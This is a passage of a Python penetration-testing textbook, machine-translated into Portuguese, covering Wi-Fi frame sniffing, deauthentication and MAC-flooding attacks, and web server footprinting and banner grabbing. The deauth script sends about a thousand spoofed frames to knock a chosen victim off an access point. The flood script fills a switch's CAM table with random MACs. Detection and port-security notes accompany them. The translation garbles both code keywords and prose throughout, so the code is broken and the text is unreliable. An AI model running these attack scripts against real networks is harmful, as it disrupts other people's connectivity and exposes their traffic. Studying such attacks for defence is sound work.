Se fm [26] == "\ x80":
Se fm [36:42] não em ap_list:
ap_list.append (fm [36:42]) a = ord (fm
[63])
print "SSID ->", fm [64:64 + a] "- BSSID ->", \ fm [36:42] .encode ( 'hex'), "- Canal ->", ord
(fm [64 + a + 12])
A primeira linha é, como de costume Tomada de importação. A próxima linha é fungar = tomada. Tomada
(socket.AF_PACKET, socket.SOCK_RAW, 3). Espero que você tenha lido
Capítulo 3, Sniffing e Teste de Invasão cuidadosamente. A única coisa nova é 3. O argumento 3 representa o
número de protocolo, o que indica ETH_P_ALL. Isso significa que estamos interessados em todos os pacotes. A
próxima linha sniff.bind (( "mon0", 0x0003)) liga-se a mon0 o modo e o protocolo número 3. Na linha seguinte, que
declarado um vazio
ap_list = [] lista, que irá armazenar os endereços MAC (SSID) do APs. Estamos usando uma lista para evitar
qualquer redundância de APs. Para cheirar contínuo, temos utilizado um infinito enquanto ciclo. Nas próximas fm1 =
sniff.recvfrom (6000) declaração dá dados para
fm1, e no próximo FM = fm1 [0] declaração leva apenas a primeira parte do quadro, que contém séries hexadecimal
longa de números; isto é, um hexadecimal contém todos os elementos de uma estrutura, como mostrado na imagem
seguinte. Nas próximas Se fm [26] == "\ x80":
declaração diz E se que o subtipo armação é de 8 bits, que indica o quadro guia, como mostrado na imagem
seguinte:
A representação Wireshark da trama de sincronizao
[89]
pentesting sem fio
Você pode perguntar por fm [26]. Isso significa que o byte 27 contém um subtipo porque fm [00:25] significa os
primeiros 26 bytes são tomadas pelo cabeçalho Radiotap. Na imagem anterior, você pode ver Radiotap
cabeçalho, comprimento igual a 26, o que significa que os primeiros 26 bytes foram tomadas pelo cabeçalho
Radiotap. Nas próximas
Se fm [36:42] não em ap_list: declaração é um filtro que verifica se o
fm [36:42] valor, que é BSSID, está presente em ap_list ou não. Se não, o próximo
ap_list.append (fm [36:42]) declaração irá adicionar o BSSID em ap_list. Nas próximas
a = ord (fm [63]) declaração dá o comprimento do SSID. Na linha seguinte, fm [64:64
+ A] indica que o SSID do AP reside em 64-64 mais o comprimento do SSID; a
fm [36:42] .encode ( 'hex') declaração converte o valor hexadecimal para um valor hexadecimal legível; a ord (fm [64
+ a + 12]) declaração fornece o número do canal, que reside números 12 à frente do SSID.
A saída do programa first_ssid_sniffer.py é mostrado na imagem seguinte:
detalhes AP
Agora, vamos escrever o código para encontrar o SSID e endereço MAC dos APs usando scapy. Você deve estar
pensando que realizou a mesma tarefa na análise de pacotes raw; na verdade, para fins de pesquisa, você deve
saber sobre análise de pacotes cru. Se você quiser alguma informação que scapy não sabe, análise de pacotes
raw lhe dá a liberdade para criar o sniffer desejado:
de scapy.all interface de importação *

= 'mon0' ap_list = [] def info (fm):
se fm.haslayer (Dot11):
if ((fm.type == 0) e (fm.subtype == 8)):

se não fm.addr2 em ap_list:
[90]
Capítulo 4
ap_list.append (fm.addr2)
print "SSID ->", fm.info "- BSSID ->", fm.addr2
fungada (iface = interface, prn = info)
Vamos percorrer o código desde o início. o scapy.all importar * importações declaração todos os módulos da
biblioteca scapy. A interface variável é definida como mon0. Uma lista vazia com o nome ap_list é declarada. Na
linha seguinte, o informações função é definida ea fm argumento foi passado. o se fm.haslayer (Dot11): declaração é
como um filtro, que passa apenas a
Dot11 tráfego; Dot11 indica tráfego de 802.11. Nas próximas if ((fm.type == 0) e (fm subtipo == 8).): declaração é
outro filtro, que passa de tráfego em que o tipo de quadro é 0 e o subtipo quadro é 8; tipo 0 representa o quadro
de gestão e subtipo
8 representa o quadro guia. Na linha seguinte, o se não fm.addr2 em ap_list:
declaração é usada para remover a redundância; Se o endereço MAC do AP não está na ap_list,
em seguida, ele acrescenta a lista e adiciona o endereço à lista como indicado na linha seguinte. A próxima
linha imprime a saída. O último fungada (iface = interface, prn = info) A linha funga os dados com a interface, que
é mon0, e invoca o info () função. A imagem seguinte mostra a saída do ssid.py programa:
Espero que você tenha entendido o ssid.py programa. Agora, vamos tentar descobrir o número do canal da
AP. Nós vamos ter que fazer algumas alterações ao código. O novo código modificado é o seguinte:
a partir da interface scapy.all import *

importação struct = 'mon0' ap_list = []
def info (fm):
if ((fm.type == 0) e (fm.subtype == 8)):
se não fm.addr2 em ap_list:
ap_list.append (fm.addr2)
[91]
pentesting sem fio
print "SSID ->", fm.info "- BSSID ->", fm.addr2, \ "- Canal ->", ord (fm [Dot11Elt: 3] .info)
Você vai notar que nós adicionamos uma coisa aqui, isto é, ord (fm [Dot11Elt: 3]. info).
Você pode se perguntar o que Dot11Elt é? Se você abrir Dot11Elt em scapy, você vai ter três coisas, ID, len, e info,
como mostrado no seguinte resultado:
root @ Mohit | Raj: ~ # scapy
INFO: Não é possível importar python gnuplot wrapper. não será capaz de traçar. AVISO: Nenhuma rota
encontrada para o destino IPv6 :: (? Nenhuma rota padrão) lWelcome para scapy (2.2.0)
> > > ls (Dot11Elt) ID
: ByteEnumField = (0)
len : FieldLenField = (Nenhum)
informações : StrLenField = ( '')
>>>
Veja o seguinte código da classe:
classe Dot11Elt (Packet):

name = "802.11 Informações Elemento"
fields_desc = [ByteEnumField ( "ID", 0, {0: "SSID", 1: "Rates", 2: "FHset", 3: "DSset", 4: "CFSET", 5: "TIM", 6:
"IBSSset", 16: "desafio",
42: "ERPinfo", 46: "QoS Capability," 47: "ERPinfo", 48: "RSNinfo", 50: "ESRates", 221: "vendedor", 68:
"reservado"}), FieldLenField ( "len" , None, "info", "B"), StrLenField ( "info", "", length_from = lambda x: x.len)]
No código da classe anterior, DSset dá informações sobre o número de canal, de modo que o DSset número
é 3.
Não vamos torná-lo complexo e vamos simplesmente capturar um pacote usando scapy:
> > > conf.iface = "mon0"
> > > quadros = sniff (Quantidade = 7)
> > > quadros
<Sniffed: TCP: 0 UDP: 0 ICMP: 0 Outros: 7>
> > > frames.summary ()
[92]
Capítulo 4
RadioTap / 802.11 Gestão 8L 84: 1b: 5e: 50: c8: 6e> ff: ff: ff: ff: ff: ff / Dot11Beacon / SSID = 'CIDADE PG3' / Dot11Elt /
Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt /
Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt
RadioTap / 802,11 Dados 8L 84: 1b: 5e: 50: c8: 6e> 88: 53: 2e: 0A: 75: 3-F / Dot11QoS / Dot11WEP
84: 1b: 5e: 50: c8: 6e> 88: 53: 2e: 0A: 75: 3-F (0x5f4) / bruto RadioTap / 802,11 Controlo 13L Nenhuma> 84: 1b: 5e:
50: c8: 6e / bruto RadioTap / 802,11 Controlo 11L 64: 09: 80: CB: 3b: f9> 84: 1b: 5e: 50: c8: 6e / bruto RadioTap /
802,11 Controlo 12L Nenhuma> 64: 09: 80: CB: 3b: f9 / bruto RadioTap / 802.11 Controle 9L Nenhum> 64: 09: 80: cb:
3b: f9 / Raw
Na imagem seguinte, você pode ver que há muitas Dot11Elt no quadro 0. Vamos verificar o quadro 0 em
detalhe.
Dot11Elt no quadro
Agora, você pode ver que existem vários < Dot11Elt. Cada Dot11Elt tem 3 campos.
ord (fm [Dot11Elt: 3] .info) dá o número do canal, que reside no quarto lugar (de acordo com o código de classe),
que é < Dot11Elt ID = DSset len = 1 info = '\ x04'.
Espero que você tenha entendido o Dot11Elt por enquanto.
[93]
pentesting sem fio
No Wireshark, podemos ver que as saídas são representados por Dot11Elt na imagem seguinte:
representação Dot11Elt de Wireshark
Os parâmetros marcadas na imagem anterior são representados pela Dot11Elt.
A saída do scapt_ssid.py programa é o seguinte:
Saída com canal
[94]
Capítulo 4
Detectando clientes de um AP
Você pode querer obter todos os clientes de um determinado AP. Nesta situação, você tem que captar o fotograma
pedido sonda. Em scapy, isso é chamado Dot11ProbeReq. Vamos verificar o quadro no Wireshark:
A trama de solicitao de sonda
A trama de solicitao de sonda contém algumas informações interessantes, tais como o endereço de origem
e SSID, como realçado na imagem anterior. Agora, é hora de ver o código:
scapy.all de interface de importação *

= 'mon0' probe_req = []
ap_name = raw_input ( "Por favor, insira o nome do AP") probesniff def (fm):
se fm.haslayer (Dot11ProbeReq):
client_name = fm.info se client_name ==
ap_name:
se não fm.addr2 em probe_req:
print "New Probe Request:", imprimir client_name "MAC",
probe_req.append fm.addr2 (fm.addr2) fungada (iface = interface, prn =
probesniff)
[95]
pentesting sem fio
Vamos olhar para as novas coisas adicionadas no programa anterior. O usuário digita SSID do interesse do AP
que irá ser armazenado no ap_name variável. o se fm.haslayer (Dot11ProbeReq): declaração indica que estamos
interessados nos quadros de solicitação de sonda. o se client_name == ap_name: declaração é um filtro e capta
todas as solicitações que contêm o SSID de interesse. o print "MAC", fm.addr2
A linha imprime o endereço MAC do dispositivo sem fios ligados a AP. A saída do probe_req.py
programa é o seguinte:
A lista de dispositivos sem fio ligado a AP CIDADE PG3
ataques sem fio

Até este ponto, você já viu várias técnicas Sniffing que reúnem informações. Nesta seção, você
verá como wireless ataques acontecem, o que é um tema muito importante na pentesting.
Os deauthentication (deauth) ataques

quadros deauthentication se enquadram na categoria do quadro de gestão. Quando um cliente deseja se
desconectar da AP, o cliente envia o quadro deauthentication. AP também envia o quadro deauthentication na
forma de uma resposta. Este é o processo normal, mas um atacante leva vantagem deste processo. O atacante
falsifica o endereço MAC da vítima e envia o quadro deauth a AP em nome da vítima; Devido a isso, a conexão
do cliente é descartado. o aireplay-ng programa é a melhor ferramenta para realizar o ataque deauth. Nesta seção,
você vai aprender a realizar este ataque usando Python. Agora, vamos olhar para o seguinte código:
de sys importação scapy.all importação

*
interface = "mon0"
[96]
Capítulo 4
BSSID = raw_input ( "Digite o MAC do AP ") victim_mac = raw_input (" Digite o MAC
da vítima")
frame = RadioTap () / Dot11 (addr1 = victim_mac, addr2 = BSSID, ADDR3 = BSSID) / Dot11Deauth ()
sendp (quadro, iface = interface, count = 1.000, inter = 0,1)
Este código é muito fácil de entender. o frame = RadioTap () / Dot11 (addr1 = victim_mac, addr2 = BSSID,
ADDR3 = BSSID) / Dot11Deauth ()
instrução cria o pacote deauth. Desde o primeiro diagrama neste capítulo, você pode verificar esses endereços.
No ultimo sendp (quadro, iface = interface, count =
1000, inter = 0,1) linha, contagem dá o número total de pacotes enviada, e entre
indica o intervalo entre os dois pacotes. A saída do deauth.py programa
é o seguinte:
root @ Mohit | Raj: / wireless # python deauth.py
AVISO: Nenhuma rota encontrada para o destino IPv6 :: Digite o MAC do AP 0c (sem rota padrão?): D2:
b5: 01: 0f: e6 Digite o MAC da Vítima 88: 53: 2E: 0A: 75: 3F
O objetivo deste ataque não é apenas para executar um ataque deauth mas também para verificar o sistema de segurança
da vítima. IDS deve ter a capacidade de detectar o ataque deauth. Até agora, não há nenhuma maneira de evitar o ataque,
mas ele pode ser detectado. Você pode oferecer uma solução para o seu cliente para este ataque. Um script Python simples
pode detectar o ataque deauth. O que se segue é o código para a detecção de:
scapy.all de interface de importação *

= 'mon0' i = 1
Informações def (fm):
if ((fm.type == 0) e (== fm.subtype 12)):
i mundial
imprimir "deauth detectada", ii = i + 1
O código anterior é muito fácil de entender. Vamos olhar para as coisas novas aqui. o fm.subtype == 12 declaração
indica o quadro deauth, eo globalmente declarada Eu variável nos informa sobre as contagens de pacotes.
[97]
pentesting sem fio
A fim de verificar o ataque, eu ter realizado o ataque deauth. A saída do mac_d.py roteiro
é o seguinte:
root @ Mohit | Raj: / wireless # python mac_d.py
AVISO: Nenhuma rota encontrada para o destino IPv6 :: (? Nenhuma rota padrão) deauth detectado 1
deauth detectado 2 deauth detectado 3 deauth detectado 4 deauth detectado 5 deauth detectado 6 deauth
detectado 7 deauth detectado 8
Ao analisar a contagem de pacotes, você pode detectar se ele cai sob o ataque DoS ou o comportamento normal.
O ataque inundação MAC

MAC inundações implica inundando o interruptor com um grande número de pedidos. Memória endereçável de
conteúdo (CAM) separa um interruptor a partir de um cubo. Ele armazena informação, tais como o endereço MAC dos
dispositivos conectados com o número da porta física. Cada MAC em uma tabela CAM é atribuído um número de porta
switch. Com esta informação, o switch sabe para onde enviar quadros Ethernet. O tamanho das tabelas CAM é fixo.
Você pode se perguntar o que acontece quando as tabelas CAM obter um grande número de pedidos. Em tal caso, o
interruptor se transforma em um cubo, e os quadros de entrada são inundadas para fora em todas as portas, o que dá
acesso invasor para comunicação de rede.
Como o switch utiliza as tabelas CAM

O interruptor aprende o endereço MAC do dispositivo ligado com a sua porta física, e escreve que a entrada
na tabela de CAM, como mostrado na imagem a seguir:
[98]
Capítulo 4
Isso mostra a atividade de aprendizagem mesa CAM
A imagem anterior é dividido em 2 partes. Na parte 1, o computador com Um MAC

envia o ARP pacote para o computador com MAC B. O interruptor aprende o pacote, chega a partir da porta
física 1, e faz uma entrada na tabela de CAM tal que o MAC 1 está associado à porta 1. O interruptor envia o
pacote para todos os dispositivos ligados, porque ele não tem a entrada de CAM MAC B. Na segunda parte
do diagrama, o computador com MAC B responde. O interruptor fica sabendo que ele veio de porta 2. Assim,
o interruptor faz uma entrada informando que o MAC B computador está ligado à porta 2.
[99]
pentesting sem fio
A lógica inundação MAC

Quando enviar um grande número de pedidos, tal como mostrado no diagrama anterior, se o host A envia requisições ARP
falsos com um Mac diferente, então cada vez que o detector vai fazer uma nova entrada para a porta 1, tais como A-1, X- 1,
Y-1, e assim por diante. Com estas entradas falsas, a tabela CAM vai ficar cheio, e o detector vai começar a se comportar
como um hub. Agora, vamos escrever o código:
num = int (raw_input ( "Introduzir o número de pacotes ")) de interface = raw_input ("
entrar na interface")
eth_pkt = Éter (src = RandMAC (), DST = "ff: ff: ff: ff: ff: ff")
arp_pkt = ARP (PDST = '192.168.1.255', hwdst = "ff: ff: ff: ff: ff: ff")
experimentar:
sendp (eth_pkt / arp_pkt, iface = interface, contagem = num, entre = 0,001)
exceto :
print "Destino inacessível"
O código anterior é muito fácil de entender. Primeiro, ele pede para o número de pacotes que você
deseja enviar. Então, para a interface, você pode escolher um wlan
interface ou a eth interface. o eth_pkt declaração constitui um pacote de Ethernet com um endereço MAC
aleatório. No arp_pkt declaração, uma arp solicitação pacote é formado com o IP de destino e endereço MAC de
destino. Se você quiser ver o campo do pacote completo, você pode usar o comando arp_pkt.show () em scapy.
A saída de Wireshark mac_flood.py é como se segue:
A saída de um ataque de inundação MAC
[100]
Capítulo 4
O objetivo do MAC inundações é verificar a segurança do switch. Se o ataque for bem sucedido, marcar bem sucedido em
seus relatórios. A fim de mitigar o ataque inundação MAC, utilizar a segurança da porta. segurança portuária restringe o
tráfego de entrada para apenas um conjunto restrito de endereços MAC ou um número limitado de endereços MAC e ataques
de inundação MAC. Espero que tenham gostado deste capítulo.
Resumo
Neste capítulo, nós aprendemos sobre quadros sem fio e como obter informações, como SSID, BSSID, e o
número do canal a partir do quadro sem fio, usando o script Python ea biblioteca scapy. Nós também
aprendemos como obter um dispositivo sem fio conectado a AP. Após a coleta de informações,
procedeu-se ataques sem fio. O primeiro ataque discutimos foi o ataque deauth, que é similar a uma
bloqueador de Wi-Fi. Neste ataque, você tem que atacar o dispositivo sem fio e ver a reação da AP ou o
sistema de detecção de intrusão. O próximo ataque que discutimos foi o ataque MAC-inundações, que se
baseia na lógica da tabela CAM, onde você verificar se a segurança do porto está presente ou não.
No próximo capítulo, você vai aprender sobre a impressão de pé de um servidor web. Você também vai aprender como
obter o cabeçalho de HTTP e bandeira agarrando.
[101]
Pé de impressão de um servidor Web
e um aplicativo Web
Até agora, temos lido quatro capítulos que estão relacionados a partir da camada de enlace de dados para a camada de
transporte. Agora, podemos passar para testes de penetração da camada de aplicação. Neste capítulo, vamos percorrer
os seguintes tópicos:
• O conceito de impressão de pé de um servidor web
• Apresentando a recolha de informação
• verificação de cabeçalho HTTP
• A coleta de informações de um site a partir de smathwhois.com pelo analisador BeautifulSoup
• agarrando bandeira de um website
• Endurecimento de um servidor web
O conceito de impressão de pé de um servidor

web
O conceito do teste de penetração não pode ser explicado ou realizado em uma única etapa; portanto, foi dividido em
várias etapas. impressão do pé é o primeiro passo para pentesting, onde um atacante tenta reunir informações sobre
um alvo. No mundo de hoje, e-commerce está crescendo rapidamente. Devido a isso, os servidores web se tornou um
alvo para hackers. Para atacar um servidor web, devemos primeiro saber o que um servidor web significa. Também
precisamos saber sobre o software de servidor web hosting, sistema operacional hospedagem, e quais aplicativos estão
em execução no servidor web. Depois de obter esta informação, podemos construir nossas façanhas. Obter esta
informação é conhecida como impressão de pé de um servidor web.
Pé de impressão de um servidor web e um aplicativo Web
Apresentando a recolha de informação

Nesta seção, vamos tentar recolher informações sobre o software web, sistema operacional e aplicativos que são
executados no servidor web, usando técnicas de tratamento de erros. Do ponto de vista de um hacker, não é tão
útil para reunir informações de tratamento de erros. No entanto, do ponto de vista de um pentester, é muito
importante porque no relatório final pentesting que deve ser apresentada para o cliente, você tem que especificar
as técnicas de tratamento de erros.
A lógica por trás manipulação de erro é tentar produzir um erro em um servidor web, que retorna o código 404,
e ver a saída da página de erro. Eu escrevi um pequeno código para obter a saída. Iremos linha por linha
através do seguinte código:
importação re importar
urllib importação
aleatória
url1 = raw_input ( "Enter the URL") u = chr
(random.randint (97.122)) url2 = url1 + u
http_r = urllib.urlopen (url2)
conteúdo = http_r.read () flag = 0 i = 0
lista1 = []
a_tag = "<* endereço>"
FILE_TEXT = open ( "result.txt", 'a')
enquanto a bandeira == 0:
se http_r.code == 404:
file_text.write ( "--------------") file_text.write (url1)
file_text.write ( "-------------- \ n")
file_text.write (teor)
para o jogo em re.finditer (a_tag, conteúdo):
i=i+1
s = match.start () e =
match.end () list1.append
(s) list1.append (e) if (i> 0):
print "Codificação não é bom" if len (list1)>

0:
a = lista1 [1]
[104]
capítulo 5
b = lista1 [2]
conteúdo impresso [a: b] mais:
print "manipulação de erro parece ok" flag = 1
elif http_r.code == 200:

print "página da Web está usando página de erro personalizada" pausa
Tenho importado três módulos re, aleatório, e urllib, que são responsáveis por expressões regulares, para
gerar números aleatórios e actividades ligadas à URL, respectivamente. o url1 = raw_input ( "Enter the URL") declaração
pede o URL do site e armazenar esta URL no url1 variável. Em seguida, o
u = CHR (random.randint (97122)) instrução cria um personagem aleatório. O próximo comunicado acrescenta
esse personagem para a URL e armazena-lo na url2 variável. Então o http_r = urllib.urlopen (url2) declaração abre
a url2 página, e esta página é armazenada no http_r variável. o conteúdo = http_r.read () transferências de instrução
todos os conteúdos da página web para o conteúdo variável:
bandeira = 0 i =
lista1 = []
a_tag = "<* endereço>"
FILE_TEXT = open ( "result.txt", 'a')
A parte anterior do código define a bandeira variável Eu e uma lista vazia cujo significado nós discutiremos
mais tarde. o uma etiqueta variável assume um valor "<* address>".
UMA FILE_TEXT variável é um objeto de arquivo que abre o result.txt arquivo em modo de adição. o result.txt arquivo
armazena os resultados. o enquanto a bandeira == 0: declaração indica que nós queremos que o loop while para executar
pelo menos uma vez. o http_r.code instrução retorna o código de status do servidor web. Se a página não for encontrada,
ele irá retornar um código 404:
file_text.write ( "--------------") file_text.write (url1)
file_text.write ( "-------------- \ n")
file_text.write (teor)
A peça anterior de código escreve a saída da página na result.txt Arquivo.
[105]
o para o jogo em re.finditer (a_tag, conteúdo): declaração encontra o uma etiqueta

padrão que significa que o < address> tag na página de erro, uma vez que estamos interessados na informação
entre o < address> </ address> tag. o s = match.start ()
e e = match.end () declarações indicam o ponto de início e fim
<Address> tag e list1.append (s). o list1.append (e) declaração armazena esses pontos na lista, para que possamos
usar estes pontos mais tarde. o Eu variável torna-se maior do que 0, o que indica a presença do < address> tag na
página de erro. Isto significa que o código não é bom. o if len (list1)> 0: declaração indica que se a lista tiver pelo
menos um elemento, então as variáveis uma e b será o ponto de interesse. O diagrama a seguir mostra estes
pontos de interesse:
<Address> </ Address>
lista [0] lista [1] lista [2] lista [3]
uma b
Buscar valores de tag de endereço
o conteúdo impresso [a: b] declaração lê a saída entre o uma e b pontos e set bandeira = 1 para quebrar o enquanto
ciclo. o elif http_r.code == 200:
declaração indica que, se o código de status HTTP é 200, então ele irá imprimir o " página Web está usando página de erro
personalizada" mensagem. Neste caso, se o código 200 retorna para a página de erro, isso significa que o erro está
sendo tratada pela página personalizada. Agora é hora de executar a saída e vamos executá-lo duas vezes.
A saída quando a assinatura do servidor está ligado e quando a assinatura do servidor está fora é o seguinte:
As duas saídas do programa
[106]
capítulo 5
A tela acima mostra a saída quando a assinatura do servidor está ligado. Ao ver essa saída, podemos dizer
que o software web é Apache, a versão é 2.2.3,
eo sistema operacional é Red Hat. Na próxima saída, nenhuma informação do servidor significa a assinatura do
servidor está desligado. Às vezes alguém usa um firewall de aplicação web, como mod-segurança, o que dá
uma assinatura servidor falso. Neste caso, você precisa verificar o result.txt arquivo para a saída detalhada
completa. Vamos verificar a saída do result.txt, como mostrado na imagem seguinte:
Saída do result.txt
Quando existem várias URLs, você pode fazer uma lista de todas essas URLs e fornecê-los para o programa, e
esse arquivo irá conter a saída de todos os URLs.
Verificando o cabeçalho HTTP

Ao ver o cabeçalho das páginas da web, você pode obter o mesmo resultado. Às vezes, a saída de erro do servidor
pode ser alterado por programação. No entanto, verificando o cabeçalho pode fornecer muitas informações. Uma
pequena código pode lhe dar algumas informações muito detalhadas da seguinte forma:
urllib importação
url1 = raw_input ( "Enter the URL") http_r = urllib.urlopen
(url1) se http_r.code == 200:
imprimir http_r.headers
o imprimir http_r.headers declaração fornece o cabeçalho do servidor web.
[107]
A saída é como se segue:
Obtendo informações de cabeçalho
Você vai notar que temos tomado duas saídas do programa. Na primeira saída, entramos http://www.juggyboy.com/ como
o URL. O programa forneceu muitas informações interessantes, tais como Servidor: Microsoft-IIS / 6.0 e X-Powered-By:
ASP. LÍQUIDO; infere que o site está hospedado em uma máquina Windows, o software web é
IIS 6.0, e ASP.NET é usado para programação de aplicações web. Na segunda saída, eu
entreguei o endereço IP da minha máquina local, que é

http://192.168.0.5/. O programa revelou algumas informações secretas, como o que o software web é o Apache 2.2.3, ele
está sendo executado em uma máquina Red Hat, e PHP 5.1 é utilizado para programação de aplicações web. Desta
forma, você pode obter informações sobre o sistema operacional, software de servidor web e aplicações web. Agora,
vamos olhar para o que a saída teremos se a assinatura do servidor está desligado:
Quando a assinatura do servidor está fora
[108]
capítulo 5
A partir do resultado anterior, podemos ver que o Apache está em execução. No entanto, ele não mostra nem a
versão nem o sistema operacional. Para programação de aplicações web, PHP tem sido usado, mas às vezes, a
saída não mostra a linguagem de programação. Para isso, você tem que analisar as páginas da web para obter
qualquer informação útil, como hiperlinks.
Se você deseja obter os detalhes sobre cabeçalhos, aberta dir de cabeçalhos, como mostrado no seguinte código:
> > > urllib importação

> > > http_r = urllib.urlopen ( "http://192.168.0.5/")
> > > dir (http_r.headers)
[ '__contains__', '__delitem__', '__doc__', '__getitem__', '__ init__', '__iter__', '__len__', '__module__', '__setitem__', '__str__',
'addcontinue', 'AddHeader', 'dict', 'encodingheader', 'fp', 'ficar', 'getaddr', 'getaddrlist', 'getallmatchingheaders', 'getdate',
'getdate_tz', 'GetEncoding', 'getfirstmatchingheader', 'GetHeader', 'getHeaders ', 'getmaintype', 'GetParam',
'getparamnames', 'getplist', 'getrawheader', 'getsubtype', 'gettype', 'has_key', 'cabeçalhos', 'isComment', 'isheader',
'isLast', 'itens', 'chaves', 'MainType', 'parseplist', 'parsetype', 'plist', 'plisttext', 'readheaders', 'rewindbody', 'pesquisável',
'setdefault', 'startofbody', 'startofheaders', 'status', 'subtipos', 'tipo' , 'typeheader', 'unixfrom', ''] valores
>>>
> > > http_r.headers.type 'text / html'
> > > http_r.headers.typeheader 'text / html;

charset = UTF-8?
>>>
A coleta de informações de um site a partir de

SmartWhois pelo analisador BeautifulSoup
Considere uma situação onde você quer recolher todos os hiperlinks da página web. Nesta seção, vamos fazer isso
através de programação. Por outro lado, isso também pode ser feito manualmente, visualizando a exibição da fonte
da página web. No entanto isso vai levar algum tempo.
Então, vamos conhecer com muito bonito analisador chamado BeautifulSoup. Este analisador é de uma fonte de
terceiros e é muito fácil de trabalhar. Em nosso código, usaremos a versão 4 do BeautifulSoup.
A exigência é o título da página HTML e hiperlinks.
[109]
O código é a seguinte:
urllib importação
de BS4 importação BeautifulSoup url = raw_input (
"Enter the URL") ht = urllib.urlopen (url) html_page =
ht.read ()
b_object = BeautifulSoup (html_page) imprimir b_object.title

b_object.title.text impressão para ligação em
b_object.find_all ( 'a'):
print (link.get ( 'href'))
o de BS4 BeautifulSoup importação declaração é usada para importar a biblioteca BeautifulSoup. o url variável
armazena a URL do site, e urllib. urlopen (url) abre a página da Web enquanto o ht.read () função armazena a
página da web. o html_page = ht.read () declaração atribui a página para um html_page
variável. Para melhor compreensão, usamos esta variável. No b_object = BeautifulSoup (html_page) declaração,
um objeto de b_object é criado. A próxima instrução imprime o nome do título com etiquetas e sem tags. Nas
próximas b_object. find_all ( 'a') declaração salva todos os hiperlinks. As próximas impressões de linha apenas a
parte hiperlinks. A saída do programa irá limpar todas as dúvidas, e é mostrado na imagem seguinte:
Todos os hiperlinks e um título
[110]
capítulo 5
Agora, você viu como você pode obter o hyperlinks e um título usando bonita analisador.
No próximo código, obteremos um campo particular com a ajuda de BeautifulSoup:
urllib importação
de BS4 importação BeautifulSoup url =
"https://www.hackthissite.org" ht = urllib.urlopen (url)
html_page = ht.read ()
b_object = BeautifulSoup (html_page) data = b_object.find ( 'div', id =

'aviso') dados de impressão
O código precedente foi feita https://www.hackthissite.org Enquanto o url, e no código a seguir, estamos
interessados em encontrar onde < div id = aviso> é, como mostrado na imagem seguinte:
As informações div ID
Agora vamos ver a saída do código anterior na imagem seguinte:
A saída do <div id = aviso> Código
[111]
Veja outro exemplo em que você deseja reunir informações sobre um site. No processo de coleta de
informações para um determinado site, você provavelmente usado http://smartwhois.com/. Usando
SmartWhois, você pode obter informações úteis sobre qualquer site, como o nome do Requerente,
Organização Titular, Name Server, e assim por diante.
No código a seguir, você vai ver como você pode obter a informação do SmartWhois. Na busca da recolha de
informação, tenho estudado SmartWhois e descobriu que a sua < div class = "whois"> tag retém as informações
relevantes. O programa a seguir vai reunir as informações a partir desta tag e salve-o em um arquivo de uma
forma legível:
urllib importação
de importação re BS4 importação BeautifulSoup
domain = raw_input ( "Digite o nome de domínio") url =

"http://smartwhois.com/whois/"+str(domain) ht = urllib.urlopen (url) html_page =
ht.read ()
b_object = BeautifulSoup (html_page) FILE_TEXT = open (

"who.txt", 'a')
who_is = b_object.body.find ( 'div', attrs = { 'classe': 'whois'}) who_is1 = str (who_is)
para o jogo em re.finditer ( "Domain Name:", who_is1):

s = match.start ()
lines_raw = who_is1 [S]:

linhas = lines_raw.split ( "<br/>", 150) i = 0
para linha em linhas:

file_text.writelines (linha) file_text.writelines (
"\ n") de linha de impressão i = i + 1 se i ==
17:
pausa
file_text.writelines ( "-" * 50) file_text.writelines (
"\ n") file_text.close ()
[112]
capítulo 5
Vamos analisar o FILE_TEXT = open ( "who.txt", 'a') declaração desde que eu espero que você seguiu o código
anterior. o FILE_TEXT objeto de arquivo abre uma quem. TXT arquivo em modo de adição para armazenar os
resultados. o who_is = b_object.body. find ( 'div', attrs = { 'classe': 'Whois'}) declaração produz o resultado desejado.
Contudo, quem é não contém todos os dados em forma de string. Se usarmos b_object. body.find ( 'div', attrs = {
'classe': 'whois'}). texto, a saída será todo o texto que contém as tags, mas esta informação torna-se muito difícil
de ler. o who_is1 = str (who_is) declaração converte a informação em forma de string:
para o jogo em re.finditer ( "Domain Name:", who_is1):

s = match.start ()
O código anterior encontra o ponto de partida " Nome do domínio:" corda porque a nossa valiosa informação
vem depois de esta cadeia. o lines_raw variável contém a informação após o " Nome do domínio:" corda. o linhas =
lines_raw. split ( "<br/>", 150) declaração divide as linhas usando a < br /> delimitador, eo " linhas" variável torna-se
uma lista. Isso significa que em uma página HTML, onde uma ruptura
(</ br>) existe, a declaração fará uma nova linha e todas as linhas serão armazenados em uma lista nomeada linhas. o i
= 0 variável é inicializada como 0, que vai ainda ser usadas para imprimir o número de linhas, como um resultado. O
seguinte trecho de código salva os resultados na forma de um arquivo que existe em um disco rígido, bem como
exibir os resultados na tela. A saída de tela é a seguinte:
Informação fornecida por SmartWhois
[113]
Agora, vamos verificar a saída do código nos arquivos:
A saída do código nos arquivos
Você já viu como obter hiperlinks de uma página web e, usando o código anterior,
você pode obter as informações sobre os hiperlinks. Não pare aqui; em vez disso,
tente ler mais sobre BeautifulSoup em http://www.crummy.com/software/
BeautifulSoup / BS4 / doc /.
Agora, vamos passar por um exercício que leva nomes de domínio em uma lista como uma entrada e escreve os resultados das
descobertas em um único arquivo.
agarrando bandeira de um website

Nesta seção, vamos pegar a bandeira HTTP de um site. agarrando bandeira ou fingerprinting OS é um método para
determinar o sistema operacional que está sendo executado em um servidor de destino web. No programa seguinte,
vamos cheirar os pacotes de um site em nosso computador, como fizemos no Capítulo 3, Sniffing e Teste de Invasão.
[114]
capítulo 5
O código para a bandeira grabber é mostrado como segue:
importação struct
s = socket.socket (. socket.PF_PACKET, socket.SOCK_RAW, Tomada ntohs (0x0800)) embora
verdadeira:
pkt = s.recvfrom (2048) bandeira =

PKT [0] [54: 533] banner print print "-" *
40
Desde que você deve ter lido Capítulo 3, Sniffing e Teste de Invasão, você deve estar familiarizado com este
código. o bandeira = PKT [0] [54: 533] declaração é novo aqui. Antes PKT [0] [54:], o pacote contém informações
TCP, IP e Ethernet. Depois de fazer algumas batida e fuga, descobri que as informações agarrando
bandeira reside entre [ 54: 533]. Você pode não bater e trilha tomando fatia [ 54: 540], [54: 545], [54: 530] e assim
por diante.
Para obter o resultado, você tem que abrir o site em um navegador da web, enquanto o programa está sendo executado,
como mostrado na imagem seguinte:
agarrando bandeira
